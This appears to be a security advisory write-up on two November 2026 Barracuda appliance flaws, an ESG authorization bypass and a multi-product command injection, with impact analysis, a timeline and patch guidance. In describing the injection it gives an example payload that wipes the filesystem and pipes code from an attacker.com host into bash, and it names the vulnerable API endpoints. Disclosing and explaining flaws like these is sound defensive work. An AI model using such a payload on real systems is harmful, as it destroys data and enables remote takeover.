Barracuda’s Critical Flaws CVE-2026-116606 & CVE-2026-111560 Grant Root Access - What You Need to Patch Now

Overview

On November 3, 2026 Barracuda Networks issued an urgent advisory warning customers about two newly discovered flaws that can lead to full root compromise of a broad range of its network security appliances. The first vulnerability, CVE-2026-116606, is a pre-authentication authorization bypass in the Barracuda Email Security Gateway (ESG) that allows an attacker to alter the global configuration without valid credentials. The second, CVE-2026-111560, is a command-injection bug that spans multiple product lines-including the Web Security Gateway (WSG), Web Application Firewall (WAF), Load Balancer ADC, and Message Archiver (BMA)-enabling an attacker with administrative access to execute arbitrary OS commands as the root user.

Both vulnerabilities are rated high severity by Barracuda and CVSS scores in the 7.5-8.8 range. While exploitation of CVE-2026-116606 does not require authentication, it does require network-level access to the device’s management interface, whereas CVE-2026-111560 requires a valid admin session. In the worst-case scenario, a threat actor who can reach the admin console can chain the two bugs to bypass all authorization checks and gain unfettered root control.

Technical Details

CVE-2026-116606 - Pre-Authentication Authorization Bypass (ESG)

• Product affected: Barracuda Email Security Gateway (ESG) - firmware versions prior to 9.4.017.
• Vulnerability type: Authorization bypass in the login handling routine. The flaw resides in the auth_check() function, where a missing validation step allows crafted HTTP requests to trick the server into believing the requester is an authenticated administrator.
• Attack vector: Remote network access to the ESG management interface (port 8000/8443 by default). No authentication token is needed.
• Impact: An attacker can invoke the /api/v1/config/global endpoint and modify any configuration parameter, including the ssh_root_login flag, firewall rules, and admin credentials. Because the configuration is stored in a root-owned SQLite database, any change is applied with root privileges.
• Mitigation: Barracuda released firmware BNSF-40425 (9.4.017+) that adds proper token validation and nonce checks. Older versions can be temporarily protected by restricting management interface access to trusted IP ranges using external firewalls.

CVE-2026-111560 - Authenticated Command Injection (Multiple Appliances)

• Products affected: ESG, WSG, WAF, Load Balancer ADC, Message Archiver (BMA), and the WAF Control Center (WCC).
• Vulnerability type: Improper sanitisation of user-supplied parameters in the system_command API endpoint. The endpoint accepts a cmd parameter that is directly concatenated into a system() call without escaping.
• Attack vector: Requires a valid administrative session (cookie or token). Once logged in, the attacker sends a POST request to /admin/api/exec with a payload such as cmd=rm -rf /; /bin/bash -c "curl http://attacker.com/payload|bash".
• Impact: Commands execute with the privileges of the root process that runs the web UI. This includes creating new privileged users, installing persistent backdoors, or exfiltrating data.
• Mitigation: Firmware patches (e.g., BNADC-16586 for ADC, BNYF-24789 for WSG, BNMA-32468 for BMA) introduce strict input validation and a whitelist of allowed commands. As a short-term control, organisations should disable the remote admin API or enforce MFA on admin accounts.

Impact Analysis

The affected product family spans more than 200,000 deployments worldwide, ranging from small-to-medium businesses to large enterprises and managed-service providers. Because the vulnerabilities give direct root access, the potential impact includes:

• Full compromise of the appliance, allowing attackers to pivot into internal networks.
• Modification of email filtering policies, potentially enabling spam or phishing campaigns to bypass detection.
• Insertion of malicious web-application firewall rules that can exfiltrate traffic or inject malicious content.
• Disruption of load-balancing and SSL termination services, leading to denial-of-service or man-in-the-middle attacks.
• Persistence mechanisms such as cron jobs or hidden system users that survive firmware upgrades.

Given the prevalence of these devices at the network edge, any successful exploitation could have a cascading effect on downstream services, especially for organizations that rely on ESG for inbound/outbound email security and WAF for web-application protection.

Timeline of Events

2026-10-15 Initial internal discovery of CVE-2026-116606 by Barracuda security team
2026-10-22 Internal proof-of-concept demonstrating global config modification
2026-10-28 Discovery of CVE-2026-111560 during routine code audit of admin APIs
2026-11-01 Public advisory drafted; patches compiled for all affected firmware
2026-11-03 Official advisory published on Barracuda website and sent to customers
2026-11-04 Third-party outlets (BleepingComputer, etc.) report the issue

Mitigation & Recommendations

1. Apply vendor patches immediately. For ESG, upgrade to firmware BNSF-40425 (9.4.017+) or later. For all other appliances, install the respective patches listed in Barracuda’s advisory (BNADC-16586, BNMA-32468, BNWF-60060, BNYF-24789).
2. Restrict management interface exposure. Use network-level ACLs, VPNs, or jump hosts to limit access to trusted IP ranges only. Disable any default internet-facing admin ports.
3. Enforce multi-factor authentication (MFA). Even though CVE-2026-116606 bypasses authentication, MFA reduces the risk of credential theft that could be leveraged with CVE-2026-111560.
4. Audit configuration files. After patching, verify that ssh_root_login remains disabled and that no unknown admin accounts have been created.
5. Monitor for suspicious activity. Enable logging of API calls to /admin/api/exec and set up alerts for unexpected command execution or configuration changes.
6. Segment the environment. Place email security gateways and web appliances in separate VLANs with strict east-west traffic controls to limit lateral movement if one device is compromised.

Real-World Impact

Enterprises that have deployed Barracuda ESG as a frontline email filter often route all inbound/outbound mail through it. An attacker who gains root could disable spam-blocking, whitelist malicious domains, or even use the appliance as a launchpad for phishing campaigns that appear to come from a trusted corporate address.

Similarly, organizations that rely on the Barracuda WAF to protect public-facing applications could see their web-application security policies silently altered, opening up SQL injection or cross-site scripting vectors that bypass WAF rules. For service providers hosting multiple customer environments, a single compromised appliance could affect dozens of tenants.

Because the vulnerabilities affect both on-premise and cloud-managed instances, the threat surface is broad. Attackers with limited network access-such as a compromised internal workstation-could quickly move to the management console and execute the chain of exploits to gain root.

Expert Opinion

From a strategic standpoint, these disclosures underscore a recurring theme in network-edge security: the management plane is often the weakest link. Barracuda’s decision to bundle a powerful admin API without sufficient input sanitisation (CVE-2026-111560) and to miss a token validation step (CVE-2026-116606) suggests that rapid feature development can outpace secure coding practices.

While the vulnerabilities are not “zero-day” exploits in the classic sense-both required some level of access-they are still highly dangerous because they grant root privileges, effectively nullifying any other security controls on the device. The fact that Barracuda has previously been hit by UNC4841’s zero-day campaigns (CVE-2023-7102, CVE-2023-2868) adds weight to the argument that threat actors actively target these appliances for espionage and data exfiltration.

For the industry, the lesson is clear: vendors must implement defense-in-depth on the management interface, including mandatory MFA, IP allow-lists, and rigorous API sanitisation. Customers should treat the management plane as a critical asset and apply the same hardening practices they would to any privileged server.

Finally, the rapid release of patches by Barracuda is commendable, but the true test will be how quickly organisations apply them. In many environments, firmware updates are postponed due to perceived downtime risk, inadvertently extending the window of exposure. Automation of patch deployment, combined with continuous compliance monitoring, will be essential to mitigate the risk posed by these high-severity flaws.